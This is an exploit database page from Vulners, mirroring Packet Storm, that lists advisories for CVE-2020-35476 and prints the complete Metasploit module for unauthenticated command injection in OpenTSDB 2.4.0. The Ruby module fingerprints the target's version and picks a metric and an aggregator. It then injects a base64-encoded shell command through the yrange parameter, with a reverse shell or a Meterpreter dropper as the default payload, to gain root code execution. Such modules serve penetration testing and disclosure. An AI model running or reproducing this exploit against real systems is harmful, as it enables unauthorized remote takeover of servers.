Lucene search
K

OpenTSDB 2.4.0 Command Injection

🗓️ 23 Dec 2022 00:00:00Reported by Shai rod, Erik Wynter, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 228 Views

OpenTSDB 2.4.0 unauthenticated command injection vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
0day.today
OpenTSDB 2.4.0 Command Injection Exploit
24 Dec 202200:00
zdt
GithubExploit
Exploit for OS Command Injection in Opentsdb
7 Sep 202313:47
githubexploit
Circl
CVE-2020-35476
16 Dec 202015:25
circl
CNNVD
OpenTSDB 操作系统命令注入漏洞
16 Dec 202000:00
cnnvd
CNVD
OpenTSDB Command Injection Vulnerability
17 Dec 202000:00
cnvd
Check Point Advisories
StumbleUpon OpenTSDB Remote Code Execution (CVE-2020-35476)
10 Feb 202100:00
checkpoint_advisories
CVE
CVE-2020-35476
16 Dec 202000:00
cve
Cvelist
CVE-2020-35476
16 Dec 202000:00
cvelist
Github Security Blog
OS Command Injection in OpenTSDB
2 Aug 202117:02
github
Metasploit
OpenTSDB 2.4.0 unauthenticated command injection
23 Dec 202219:51
metasploit
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'OpenTSDB 2.4.0 unauthenticated command injection',  
'Description' => %q{  
This module exploits an unauthenticated command injection  
vulnerability in the yrange parameter in OpenTSDB through  
2.4.0 (CVE-2020-35476) in order to achieve unauthenticated  
remote code execution as the root user.  
  
The module first attempts to obtain the OpenTSDB version via  
the api. If the version is 2.4.0 or lower, the module  
performs additional checks to obtain the configured metrics  
and aggregators. It then randomly selects one metric and one  
aggregator and uses those to instruct the target server to  
plot a graph. As part of this request, the yrange parameter is  
set to the payload, which will then be executed by the target  
if the latter is vulnerable.  
  
This module has been successfully tested against OpenTSDB  
version 2.3.0.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Shai rod', # @nightrang3r - discovery and PoC  
'Erik Wynter' # @wyntererik - Metasploit  
],  
'References' => [  
['CVE', '2020-35476'],  
['URL', 'https://github.com/OpenTSDB/opentsdb/issues/2051'] # disclosure and PoC  
],  
'DefaultOptions' => {  
'RPORT' => 4242  
},  
'Platform' => %w[unix linux],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'CmdStagerFlavor' => %w[bourne curl wget],  
'Targets' => [  
[  
'Automatic (Unix In-Memory)',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },  
'Type' => :unix_memory  
}  
],  
[  
'Automatic (Linux Dropper)',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },  
'Type' => :linux_dropper  
}  
]  
],  
'Privileged' => true,  
'DisclosureDate' => '2020-11-18',  
'DefaultTarget' => 1,  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
}  
)  
)  
  
register_options [  
OptString.new('TARGETURI', [true, 'The base path to OpenTSDB', '/']),  
]  
end  
  
def check  
# sanity check to see if the target is likely OpenTSDB  
res1 = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
})  
  
unless res1  
return CheckCode::Unknown('Connection failed.')  
end  
  
unless res1.code == 200 && res1.get_html_document.xpath('//title').text.include?('OpenTSDB')  
return CheckCode::Safe('Target is not an OpenTSDB application.')  
end  
  
# get the version via the api  
res2 = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'api', 'version')  
})  
  
unless res2  
return CheckCode::Unknown('Connection failed.')  
end  
  
unless res2.code == 200 && res2.body.include?('version')  
return CheckCode::Detected('Target may be OpenTSDB but the version could not be determined.')  
end  
  
begin  
parsed_res_body = JSON.parse(res2.body)  
rescue JSON::ParserError  
return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.')  
end  
  
unless parsed_res_body.is_a?(Hash) && parsed_res_body.key?('version')  
return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.')  
end  
  
version = parsed_res_body['version']  
  
begin  
if Rex::Version.new(version) <= Rex::Version.new('2.4.0')  
return CheckCode::Appears("The target is OpenTSDB version #{version}")  
else  
return CheckCode::Safe("The target is OpenTSDB version #{version}")  
end  
rescue ArgumentError => e  
return CheckCode::Unknown("Failed to obtain a valid OpenTSDB version: #{e}")  
end  
end  
  
def select_metric  
# check if any metrics have been configured. if not, exploitation cannot work  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'suggest'),  
'vars_get' => { 'type' => 'metrics' }  
})  
  
unless res  
fail_with(Failure::Unknown, 'Connection failed.')  
end  
  
unless res.code == 200  
fail_with(Failure::UnexpectedReply, "Received unexpected status code #{res.code} when checking the configured metrics")  
end  
  
begin  
metrics = JSON.parse(res.body)  
rescue JSON::ParserError  
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured metrics: The response body did not contain valid JSON.')  
end  
  
unless metrics.is_a?(Array)  
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured metrics: The response body did not contain a JSON array')  
end  
  
if metrics.empty?  
fail_with(Failure::NoTarget, 'Failed to identify any configured metrics. This makes exploitation impossible')  
end  
  
# select a random metric since any will do  
@metric = metrics.sample  
print_status("Identified #{metrics.length} configured metrics. Using metric #{@metric}")  
end  
  
def select_aggregator  
# check the configured aggregators and select one at random  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'aggregators')  
})  
  
unless res  
fail_with(Failure::Unknown, 'Connection failed.')  
end  
  
unless res.code == 200  
fail_with(Failure::UnexpectedReply, "Received unexpected status code #{res.code} when checking the configured aggregators")  
end  
  
begin  
aggregators = JSON.parse(res.body)  
rescue JSON::ParserError  
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured aggregators: The response body did not contain valid JSON.')  
end  
  
unless aggregators.is_a?(Array)  
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured aggregators: The response body did not contain a JSON array')  
end  
  
if aggregators.empty?  
fail_with(Failure::NoTarget, 'Failed to identify any configured aggregators. This makes exploitation impossible')  
end  
  
# select a random aggregator since any will do  
@aggregator = aggregators.sample  
print_status("Identified #{aggregators.length} configured aggregators. Using aggregator #{@aggregator}")  
end  
  
def execute_command(cmd, _opts = {})  
# use base64 to avoid special char escape hell (specifying BadChars did not help)  
cmd = "'echo #{Base64.strict_encode64(cmd)} | base64 -d | /bin/sh'"  
start_time = rand(20.year.ago..10.year.ago) # this should be a date far enough in the past to make sure we capture all possible data  
start_value = start_time.strftime('%Y/%m/%d-%H:%M:%S')  
end_time = rand(1.year.since..10.year.since) # this can be a date in the future to make sure we capture all possible data  
end_value = end_time.strftime('%Y/%m/%d-%H:%M:%S')  
  
get_vars = {  
'start' => start_value,  
'end' => end_value,  
'm' => "#{@aggregator}:#{@metric}",  
'yrange' => "[1:system(#{Rex::Text.uri_encode(cmd)})]",  
'wxh' => "#{rand(800..1600)}x#{rand(400..600)}",  
'style' => 'linespoint'  
}  
  
exploit_uri = '?'  
get_vars.each do |key, value|  
exploit_uri += "#{key}=#{value}&"  
end  
exploit_uri += 'json'  
  
# using a raw request because cgi was leading to encoding issues  
send_request_raw({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'q' + exploit_uri)  
}, 0) # we don't have to wait for a reply here  
end  
  
def exploit  
select_metric  
select_aggregator  
if target.arch.first == ARCH_CMD  
print_status('Executing the payload')  
execute_command(payload.encoded)  
else  
execute_cmdstager(background: true)  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation